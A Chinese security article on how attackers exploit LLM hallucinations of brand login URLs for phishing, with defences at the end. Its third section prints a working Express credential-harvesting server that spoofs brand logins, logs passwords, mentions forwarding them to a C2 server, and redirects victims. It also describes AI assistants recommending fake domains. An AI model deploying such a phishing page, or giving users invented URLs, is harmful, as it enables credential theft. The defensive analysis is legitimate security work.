引言
近年来,大语言模型(Large Language Models, LLMs)因其强大的文本生成、语义理解和对话交互能力,在企业办公自动化、客户服务、内容创作等场景中迅速普及。然而,随着部署规模的扩大,其固有缺陷——“幻觉”(Hallucination)现象所引发的安全隐患日益凸显。所谓幻觉,是指模型在缺乏事实依据或上下文不充分的情况下,生成看似合理但实际错误甚至完全虚构的内容。这一特性虽在创意写作等领域具有一定价值,但在安全敏感场景下,却可能被恶意行为者利用,成为新型网络钓鱼攻击的突破口。
2025年7月,网络安全公司NetCraft发布报告指出,当用户通过自然语言向LLM询问某品牌官方登录地址时,模型有近三分之一的概率返回无效、未注册或完全无关的域名。更严重的是,这些虚假链接若被攻击者提前注册并部署钓鱼页面,即可借助AI生成的“权威推荐”诱导用户访问,从而绕过传统基于信誉和黑名单的防护机制。此类攻击不仅技术门槛低、隐蔽性强,且因源自用户信任的AI助手而更具欺骗性。
本文聚焦于大语言模型幻觉如何被武器化用于钓鱼攻击,系统分析其攻击路径、技术实现、现有防御体系的失效原因,并提出可落地的技术与管理对策。全文结构如下:首先界定LLM幻觉的类型及其在安全上下文中的风险特征;其次剖析攻击者如何利用幻觉生成钓鱼邮件、伪造安全建议及误导性URL;随后通过代码示例展示典型攻击场景;接着评估当前企业AI部署中的安全盲区;最后从模型输出验证、权限控制、员工培训等维度构建纵深防御框架。本研究基于真实攻击案例与公开技术报告,避免主观臆断,确保分析的严谨性与实用性。

一、大语言模型幻觉的类型与安全风险特征
在自然语言处理领域,幻觉通常分为三类:事实性幻觉(Factuality Hallucination)、忠实性幻觉(Faithfulness Hallucination)和连贯性幻觉(Coherence Hallucination)。其中,事实性幻觉指模型生成与客观事实不符的内容,如虚构事件、错误数据或不存在的实体;忠实性幻觉指模型对输入指令的误解或偏离;连贯性幻觉则表现为逻辑自洽但内容空洞的文本。
在网络安全语境下,事实性幻觉构成主要威胁。例如,当用户询问“如何登录我的PayPal账户?”时,模型可能返回一个形似合法但实为攻击者控制的域名(如 paypal-secure[.]com),而非真实的 www.paypal.com。此类错误并非源于对抗性提示(Adversarial Prompting),而是模型在训练数据稀疏或知识截止后对品牌域名的“合理推测”所致。
值得注意的是,LLM的幻觉具有高度不可预测性。同一问题在不同时间或微调版本下可能产生截然不同的输出。这种随机性使得攻击者可通过大规模探测(Prompt Probing)识别高频出现的虚假域名,并抢先注册以实施“预埋式钓鱼”(Pre-emptive Phishing)。NetCraft实验显示,在对50个主流品牌的多次查询中,LLM共返回131个主机名,涉及97个独立域名,其中28%为未激活或停放域名,5%属于无关商业实体——这些均可能被恶意利用。

二、攻击路径分析:从幻觉到凭证窃取
攻击者利用LLM幻觉实施钓鱼的核心逻辑在于将AI的不可靠输出转化为可信信源。具体攻击链可分为以下四个阶段:
(一)诱导生成虚假信息
攻击者无需直接操控模型,而是引导普通用户或企业员工向AI工具提问。典型诱导方式包括:
伪装成IT支持人员,建议用户“用Copilot查一下Microsoft 365登录地址”;
在内部协作平台发布消息:“AI说Zoom新会议链接是 zoom-meet[.]org,大家点进去参会”;
利用社交媒体传播“GPT推荐的安全密码管理器”,实为恶意软件下载页。
由于提问方式自然(如“I lost my bookmark. Can you tell me the website to login to [brand]?”),模型不会触发异常检测,但输出结果却包含高风险内容。

(二)域名预注册与钓鱼页面部署
一旦识别出LLM高频返回的虚假域名(如通过自动化脚本批量测试),攻击者可立即通过域名注册商抢注。例如,若模型常将“Wells Fargo”误导向 wells-fargo-login[.]com,则该域名极可能在数小时内被注册并部署仿冒登录页。
此类页面通常具备以下特征:
完全复刻目标品牌UI/UX;
启用HTTPS(通过Let’s Encrypt免费证书);
表单提交后静默窃取凭证并跳转至真实站点以消除怀疑。
(三)绕过传统安全检测
传统反钓鱼机制依赖域名信誉、WHOIS信息、页面内容关键词等特征。然而,由LLM“推荐”的钓鱼链接具有天然优势:
域名无历史恶意记录(新注册);
页面内容高度合规,无明显恶意脚本;
用户访问动机“正当”(源于AI建议),难以被DLP或EDR系统标记。
更严重的是,部分AI驱动的搜索引擎(如Perplexity)已直接在答案中嵌入链接,绕过传统搜索结果的排名与验证机制。如NetCraft所述,当用户询问Wells Fargo登录地址时,Perplexity曾直接推荐一个托管在Google Sites上的仿冒页面——该页面未经过SEO优化,仅因AI生成而获得曝光。

(四)凭证窃取与横向渗透
用户在钓鱼页输入账号密码后,攻击者可进一步实施:
实时代理认证绕过多因素验证(MFA);
启用邮件自动转发规则长期监控通信;
利用被盗账户向联系人发送新一轮AI辅助钓鱼邮件,形成传播闭环。
三、技术实现示例:自动化探测与钓鱼页面构造
为验证攻击可行性,我们构建了一个简化版攻击模拟系统,包含两个模块:幻觉探测器与动态钓鱼页生成器。
(一)幻觉探测器(Python + API)
import openai
import time
import csv
# 配置目标品牌列表
brands = ["Chase", "Amazon", "Microsoft", "Dropbox", "Slack"]
prompts = [
"I lost my bookmark. Can you tell me the website to login to {}?",
"What is the official login URL for {}?",
"Where do I go to sign in to my {} account?"
]
openai.api_key = "YOUR_API_KEY"
results = []
for brand in brands:
for prompt in prompts:
for _ in range(3): # 每组合重复3次以观察变异性
try:
response = openai.ChatCompletion.create(
model="gpt-4",
messages=[{"role": "user", "content": prompt.format(brand)}],
temperature=0.7
)
url = extract_url(response.choices[0].message['content'])
results.append({
'brand': brand,
'prompt': prompt.format(brand),
'generated_url': url,
'timestamp': time.time()
})
time.sleep(1) # 避免速率限制
except Exception as e:
print(f"Error: {e}")
# 保存结果供分析
with open('llm_hallucination_probe.csv', 'w', newline='') as f:
writer = csv.DictWriter(f, fieldnames=['brand','prompt','generated_url','timestamp'])
writer.writeheader()
writer.writerows(results)
该脚本可批量探测LLM对品牌登录地址的回答,识别高频虚假域名。extract_url()函数需实现正则匹配或NLP实体识别以提取URL。
(二)动态钓鱼页面(Node.js + Express)
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.json());
app.use(express.static('public'));
// 动态渲染钓鱼页,根据URL参数定制品牌
app.get('/login/:brand', (req, res) => {
const brand = req.params.brand;
const fakeDomain = `${brand.toLowerCase()}-secure.com`;
const logoMap = {
'google': 'https://ssl.gstatic.com/accounts/ui/logo_2x.png',
'microsoft': 'https://www.microsoft.com/favicon.ico',
// 可扩展更多品牌
};
const logo = logoMap[brand] || '/default-logo.png';
res.send(`
<!DOCTYPE html>
<html>
<head><title>Sign in to ${brand}</title></head>
<body style="font-family: Arial; text-align:center; padding-top:100px;">
<img src="${logo}" width="70"><br><br>
<form action="/phish" method="POST">
<input type="hidden" name="brand" value="${brand}">
<input type="email" name="email" placeholder="Email" required><br><br>
<input type="password" name="password" placeholder="Password" required><br><br>
<button type="submit">Sign in</button>
</form>
</body>
</html>
`);
});
// 接收凭证并重定向
app.post('/phish', (req, res) => {
const { email, password, brand } = req.body;
console.log(`[PHISH] ${brand} - ${email}:${password}`);
// 此处可写入数据库或发送至C2服务器
res.redirect(`https://www.${brand.toLowerCase()}.com/login`); // 跳转真实站点
});
app.listen(3000, () => console.log('Phishing server running on port 3000'));
该服务可根据请求路径动态生成对应品牌的钓鱼页面,极大提升攻击效率与针对性。
四、企业AI部署中的安全盲区
当前企业在引入LLM时普遍存在以下安全疏漏:
缺乏输出验证机制:多数企业将AI视为“黑盒助手”,未对其生成内容(尤其是URL、命令、配置建议)进行真实性校验。
权限过度开放:员工可自由使用公共LLM处理工作邮件、生成回复,导致敏感信息泄露或恶意内容传播。
安全策略滞后:现有网络安全策略未涵盖AI生成内容的风险,如未将AI推荐链接纳入URL过滤范围。
员工认知不足:用户普遍高估AI准确性,误以为“AI不会说谎”,对生成内容缺乏批判性审视。
五、防御机制设计
针对上述问题,需构建覆盖技术、流程与人员的综合防御体系。
(一)技术控制措施
输出内容验证网关
在LLM输出与用户之间部署中间层,对所有生成的URL、IP地址、命令等进行实时验证。例如:
使用WHOIS API检查域名注册时间,拒绝新注册域名;
调用VirusTotal或Google Safe Browsing API验证URL信誉;
对品牌相关查询强制返回预定义白名单地址。
私有化部署与微调
采用本地化LLM(如Llama 3、Qwen)并基于企业知识库微调,限制其回答范围。例如,仅允许模型回答内部系统登录地址,对外部品牌查询返回“请访问官网确认”。
日志审计与异常检测
记录所有AI交互日志,通过SIEM系统监控高频查询品牌、异常URL生成等行为,及时发现探测活动。
(二)管理与流程优化
最小权限原则
禁止员工在处理敏感任务时使用公共LLM;对必须使用的场景,限制其访问互联网或文件系统的能力。
人工复核机制
对AI生成的涉及登录、转账、配置变更等内容,强制要求人工二次确认,尤其在高管或财务岗位。
安全开发生命周期(SDL)集成
在AI应用开发阶段即嵌入安全设计,如输入过滤、输出沙箱、上下文感知限制等。
(三)员工意识培训
定期开展专项培训,内容包括:
LLM幻觉的原理与典型案例;
如何识别AI生成的可疑链接(如检查域名拼写、SSL证书详情);
报告可疑AI输出的标准流程。
六、结论
大语言模型的幻觉现象正从技术缺陷演变为可被武器化的安全漏洞。攻击者无需突破模型本身,仅需利用其不可靠的输出作为社会工程的“可信背书”,即可显著提升钓鱼攻击的成功率。本文通过分析攻击路径、展示技术实现、揭示企业盲区,论证了当前AI部署模式在安全层面的脆弱性。
有效的防御不能依赖单一技术手段,而需融合输出验证、权限管控、流程约束与人员教育。尤其在AI深度融入企业工作流的背景下,必须重新定义“可信来源”——AI不再是绝对权威,而是一个需要持续监督与校验的信息源。未来,随着检索增强生成(RAG)和事实核查插件的发展,LLM的可靠性有望提升,但在短期内,企业仍需保持高度警惕,防止AI从效率工具异化为攻击跳板。唯有将安全内生于AI应用的全生命周期,方能真正驾驭其潜力,规避其风险。
编辑:芦笛(公共互联网反网络钓鱼工作组)
719

被折叠的 条评论
为什么被折叠?



